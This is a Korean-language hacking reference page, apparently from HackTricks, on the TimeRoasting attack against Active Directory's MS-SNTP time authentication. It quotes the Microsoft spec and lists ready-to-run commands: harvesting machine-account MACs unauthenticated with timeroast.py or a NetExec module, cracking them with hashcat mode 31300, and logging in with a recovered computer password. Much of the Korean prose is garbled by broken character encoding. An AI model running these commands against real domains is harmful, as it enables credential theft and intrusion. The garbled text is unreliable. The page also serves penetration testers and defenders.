TimeRoasting

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

TimeRoasting์€ ๋ ˆ๊ฑฐ์‹œ MS-SNTP ์ธ์ฆ ํ™•์žฅ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. MS-SNTP์—์„œ ํด๋ผ์ด์–ธํŠธ๋Š” ์ž„์˜์˜ ์ปดํ“จํ„ฐ ๊ณ„์ • RID๋ฅผ ํฌํ•จํ•œ 68๋ฐ”์ดํŠธ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋Š” ์‘๋‹ต์— ๋Œ€ํ•œ MAC์„ ๊ณ„์‚ฐํ•˜๊ธฐ ์œ„ํ•ด ํ•ด๋‹น ์ปดํ“จํ„ฐ ๊ณ„์ •์˜ NTLM ํ•ด์‹œ(MD4)๋ฅผ ํ‚ค๋กœ ์‚ฌ์šฉํ•˜๊ณ  ์ด๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ธ์ฆ ์—†์ด ์ด๋Ÿฌํ•œ MS-SNTP MAC์„ ์ˆ˜์ง‘ํ•ด ์˜คํ”„๋ผ์ธ์œผ๋กœ ํฌ๋ž™(Hashcat mode 31300)ํ•˜์—ฌ ์ปดํ“จํ„ฐ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ๊ณต์‹ MS-SNTP ๊ทœ๊ฒฉ์˜ ์„น์…˜ 3.1.5.1 โ€œAuthentication Request Behaviorโ€ ๋ฐ 4 โ€œProtocol Examplesโ€œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. ExtendedAuthenticatorSupported ADM ์š”์†Œ๊ฐ€ false์ด๋ฉด, ํด๋ผ์ด์–ธํŠธ๋Š” 68๋ฐ”์ดํŠธ ์š”์ฒญ์„ ์ „์†กํ•˜๊ณ  authenticator์˜ Key Identifier ํ•˜์œ„ํ•„๋“œ์˜ ์ตœํ•˜์œ„ 31๋น„ํŠธ์— RID๋ฅผ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

If the ExtendedAuthenticatorSupported ADM element is false, the client MUST construct a Client NTP Request message. The Client NTP Request message length is 68 bytes. The client sets the Authenticator field of the Client NTP Request message as described in section 2.2.1, writing the least significant 31 bits of the RID value into the least significant 31 bits of the Key Identifier subfield of the authenticator, and then writing the Key Selector value into the most significant bit of the Key Identifier subfield.

์„น์…˜ 4 (Protocol Examples)์—์„œ:

After receiving the request, the server verifies that the received message size is 68 bytes. Assuming that the received message size is 68 bytes, the server extracts the RID from the received message. The server uses it to call the NetrLogonComputeServerDigest method (as specified in [MS-NRPC] section 3.5.4.8.2) to compute the crypto-checksums and select the crypto-checksum based on the most significant bit of the Key Identifier subfield from the received message, as specified in section 3.2.5. The server then sends a response to the client, setting the Key Identifier field to 0 and the Crypto-Checksum field to the computed crypto-checksum.

crypto-checksum์€ MD5 ๊ธฐ๋ฐ˜(์„น์…˜ 3.2.5.1.1 ์ฐธ์กฐ)์ด๋ฉฐ ์˜คํ”„๋ผ์ธ์œผ๋กœ ํฌ๋ž™ํ•  ์ˆ˜ ์žˆ์–ด roasting ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

SecuraBV/Timeroast - Timeroasting ์Šคํฌ๋ฆฝํŠธ by Tom Tervoort

sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
hashcat -m 31300 ntp-hashes.txt

NetExec + Hashcat๋ฅผ ์ด์šฉํ•œ ์‹ค์ „ ๊ณต๊ฒฉ(์ธ์ฆ ์—†์Œ)

  • NetExec๋Š” ์ธ์ฆ ์—†์ด ์ปดํ“จํ„ฐ RIDs์— ๋Œ€ํ•œ MS-SNTP MAC์„ ์—ด๊ฑฐํ•˜๊ณ  ์ˆ˜์ง‘ํ•˜์—ฌ ํฌ๋ž˜ํ‚น ์ค€๋น„๋œ $sntp-ms$ ํ•ด์‹œ๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# Target the DC (UDP/123). NetExec auto-crafts per-RID MS-SNTP requests
netexec smb <dc_fqdn_or_ip> -M timeroast
# Output example lines: $sntp-ms$*<rid>*md5*<salt>*<mac>
  • ์˜คํ”„๋ผ์ธ์—์„œ Crack์„ Hashcat mode 31300 (MS-SNTP MAC)์œผ๋กœ ์ˆ˜ํ–‰:
hashcat -m 31300 timeroast.hashes /path/to/wordlist.txt --username
# or let recent hashcat auto-detect; keep RIDs with --username for convenience
  • ๋ณต๊ตฌ๋œ ํ‰๋ฌธ์€ ์ปดํ“จํ„ฐ ๊ณ„์ • ์•”ํ˜ธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. NTLM์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ Kerberos (-k)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํ“จํ„ฐ ๊ณ„์ •์œผ๋กœ ์ง์ ‘ ์‹œ๋„ํ•˜์„ธ์š”:
# Example: cracked for RID 1125 -> likely IT-COMPUTER3$
netexec smb <dc_fqdn> -u IT-COMPUTER3$ -p 'RecoveredPass' -k

์šด์˜ ํŒ

  • Kerberos ์ „์— ์ •ํ™•ํ•œ ์‹œ๊ฐ„ ๋™๊ธฐํ™”๊ฐ€ ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: sudo ntpdate <dc_fqdn>
  • ํ•„์š”ํ•œ ๊ฒฝ์šฐ AD realm์šฉ krb5.conf๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”: netexec smb <dc_fqdn> --generate-krb5-file krb5.conf
  • ์ธ์ฆ๋œ foothold๋ฅผ ํ™•๋ณดํ•œ ํ›„ LDAP/BloodHound๋ฅผ ํ†ตํ•ด RIDs๋ฅผ principals์— ๋งคํ•‘ํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ